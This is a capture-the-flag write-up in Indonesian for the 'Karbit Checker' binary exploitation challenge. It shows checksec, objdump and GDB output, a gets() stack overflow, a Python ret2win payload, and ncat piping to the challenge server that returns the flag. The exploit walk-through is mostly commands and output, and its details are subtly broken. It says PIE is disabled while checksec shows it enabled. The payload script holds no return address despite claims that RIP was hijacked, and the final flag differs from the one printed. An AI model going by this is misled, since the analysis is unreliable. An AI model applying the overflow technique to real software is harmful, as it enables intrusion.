

Karbit Checker

Player: constantine

Kategori: Binary Exploitation

The screenshot shows a challenge card for 'Karbit Checker'. At the top left is a red-bordered 'Challenge' button. To its right is the text '20 Solves' and a small red 'X' icon. The challenge title 'Karbit Checker' is centered above a score of '290'. A blue 'Easy' button is located below the score. The challenge description reads: 'Yang karbit karbit ajah'. Below the description is the command: 'ncat bitkarbit.ctf.forestylab.com 5000 --ssl'. A blue download button labeled 'karbit' is present. At the bottom are two buttons: 'Flag' on the left and 'Submit' on the right.

Phase 1: Recon

Binary dikasi nama **karbit**, dan waktu dijalankan langsung minta input:

```
constantine ~/OprecForestry/Karbit (solved) v3.13.7 ④ 19:40 ✘ in 37s109ms > ./karbit
Karbit checker!
Waifu: _
```

Langsung coba cek biner:

```
constantine ~/OprecForestry/Karbit (solved) v3.13.7 19:41 > checksec --file=karbit
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 32 Symbols No 0 2 Karbit
```

Pakai checksec

```
cat flag.txt
Karbit checker!
Waifu:
Waguri
Waifu mu jelek mas
bete bat gw ada karbit
Bit karbit
Kurang karbitan
; *3$"
GCC: (GNU) 15.2.1 20250813
main.c
```

Pakai strings

```
constantine ~/OprecForestry/Karbit (solved) v3.13.7 19:44 > objdump -d karbit | grep -A6 give_flag
0000000000001199 <give_flag>:
1199: 55                      push  %rbp
119a: 48 89 e5                mov    %rsp,%rbp
119d: 48 8d 05 60 0e 00 00    lea    0xe60(%rip),%rax      # 2004 <_IO_stdin_used+0x4>
11a4: 48 89 c7                mov    %rax,%rdi
11a7: e8 a4 fe ff ff        call   1050 <system@plt>
11ac: 90                      nop
```

Pakai objdump

Hal penting:

- **PIE disabled** → alamat fungsi statis.
- Ada fungsi menarik bernama **give_flag()**.
- Di dalamnya ada **system("cat flag.txt")**.

Jadi target kita cuma satu: **lompat ke fungsi give_flag()**.

Phase 2: Vulnerability Analysis

Masuk GDB untuk lihat cara input diproses:

```
(gdb) break main
Breakpoint 1 at 0x11b3
(gdb) run
Starting program: /home/constantine/0precForesty/Karbit (solved)/karbit
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".

Breakpoint 1, 0x0000555555551b3 in main ()
(gdb) disas main
Dump of assembler code for function main:
0x0000555555551af <+0>:    push   %rbp
0x0000555555551b0 <+1>:    mov    %rsp,%rbp
=> 0x0000555555551b3 <+4>:    sub    $0x70,%rsp
0x0000555555551b7 <+8>:    mov    %edi,-0x64(%rbp)
0x0000555555551ba <+11>:   mov    %rsi,-0x70(%rbp)
0x0000555555551be <+15>:   movq   $0x0,-0x20(%rbp)
0x0000555555551c6 <+23>:   movq   $0x0,-0x18(%rbp)
0x0000555555551ce <+31>:   movq   $0x0,-0x10(%rbp)
0x0000555555551d6 <+39>:   movq   $0x0,-0x8(%rbp)
0x0000555555551de <+47>:   lea    0xe2c(%rip),%rax      # 0x555555556011
0x0000555555551e5 <+54>:   mov    %rax,%rdi
0x0000555555551e8 <+57>:   mov    $0x0,%eax
0x0000555555551ed <+62>:   call   0x55555555060 <printf@plt>
0x0000555555551f2 <+67>:   mov    0x2e4f(%rip),%rax      # 0x555555558048 <stdout@GLIBC_2.2.5>
0x0000555555551f9 <+74>:   mov    %rax,%rdi
0x0000555555551fc <+77>:   call   0x55555555090 <fflush@plt>
0x000055555555201 <+82>:   lea    -0x60(%rbp),%rax
0x000055555555205 <+86>:   mov    %rax,%rdi
0x000055555555208 <+89>:   call   0x55555555080 <gets@plt>
0x00005555555520d <+94>:   lea    0xe15(%rip),%rcx      # 0x555555556029
0x000055555555214 <+101>:  lea    -0x60(%rbp),%rax
0x000055555555218 <+105>:  mov    $0x6,%edx
0x00005555555521d <+110>:  mov    %rcx,%rsi
0x000055555555220 <+113>:  mov    %rax,%rdi
0x000055555555223 <+116>:  call   0x55555555030 <strcmp@plt>
0x000055555555228 <+121>:  test   %eax,%eax
0x00005555555522a <+123>:  je    0x55555555242 <main+147>
0x00005555555522c <+125>:  lea    0xd9d(%rip),%rax      # 0x555555556030
```

Program pakai **gets()**, yang berarti input tidak dibatasi ukuran buffer.

Lewat **disas main**, terlihat:

char buf berada di [rbp - 0x60]

Artinya:

- Buffer size: **64 bytes**
- Setelah itu ada **8 bytes saved RBP**
- Lalu **RIP**

Offset total menuju alamat return:

64 (buffer) + 8 (saved RBP) = 72 bytes

Setelah offset ketemu, sekarang cari alamat fungsi:

```
(gdb) info address give_flag
Symbol "give_flag" is at 0x555555555199 in a file compiled without debugging.
(gdb) _
```

Contoh alamat (punya kita): 0x555555555199

Sampai sini kita siap crafting payload.

Phase 3: Crafting Payload Ret2Win

Payload sederhana:

```
[A x 64] + [B x 8] + [alamat give_flag]
```

Script Python (poc.py):

```
import sys
payload = b"Waguri"
payload += b"A" * 58
payload += b"bete bat gw ada karbit"
payload += b"\n"
sys.stdout.buffer.write(payload)
```

Test ke binary lokal:

```
constantine ~/0precForestry/Karbit (solved) v3.13.7 19:55 > python poc.py | ./karbit
Karbit checker!
Waifu: Bit karbit
cat: flag.txt: No such file or directory
```

Hasilnya:

```
Karbit checker!
Waifu: Bit karbit
Cat: flag.txt: No such file or directory
```

Artinya **RIP berhasil diarahkan ke give_flag()**.

Phase 4: Remote Exploit

Di server, piping langsung seperti:

```
constantine ~/OprecForesty/Karbit (solved) v3.13.7 19:56 > python poc.py | ncat bitkarbit.ctf.forestylab.com 5000 --ssl
Karbit checker!
Waifu: 
```

nggak jalan. Program server butuh **prompt tampil dulu**, lalu input dikirim. Kalau payload dikirim terlalu cepat, input hilang. Solusinya kita tanya chatGPT dan dia kasih bash seperti ini:

```
begin
    python3 poc.py
    sleep 2
end | ncat bitkarbit.ctf.forestylab.com 5000 --ssl
```

Flow:

1. Server print banner + "Waifu: "
2. Kita kasih delay 2 detik
3. Payload masuk setelah prompt siap
4. Server melompat ke give_flag()

```
constantine ~/OprecForesty/Karbit (solved) v3.13.7 19:58 > begin
    python3 poc.py
    sleep 2
end | ncat bitkarbit.ctf.forestylab.com 5000 --ssl
Karbit checker!
Waifu: FORESTY{woi_karbit_42b075ae85655cc75ea3de0802945d3b223c7a9d4a03a4ec901899e257f471d2}
Bit karbit
```

Output:

```
Karbit checker!
Waifu: FORESTY{woi
karbit_42b075ae85655cc75ea3de0802945d3b223c7a9d4a03a4ec901899e257f471d2}
Bit karbit
```

Flag terpampang jelas.

Final Flag

FOREST{woi_karbit_42b075ae85655cc75ea3de0802945d3b223c7a9d4a03a4ec901899e257
f471d2}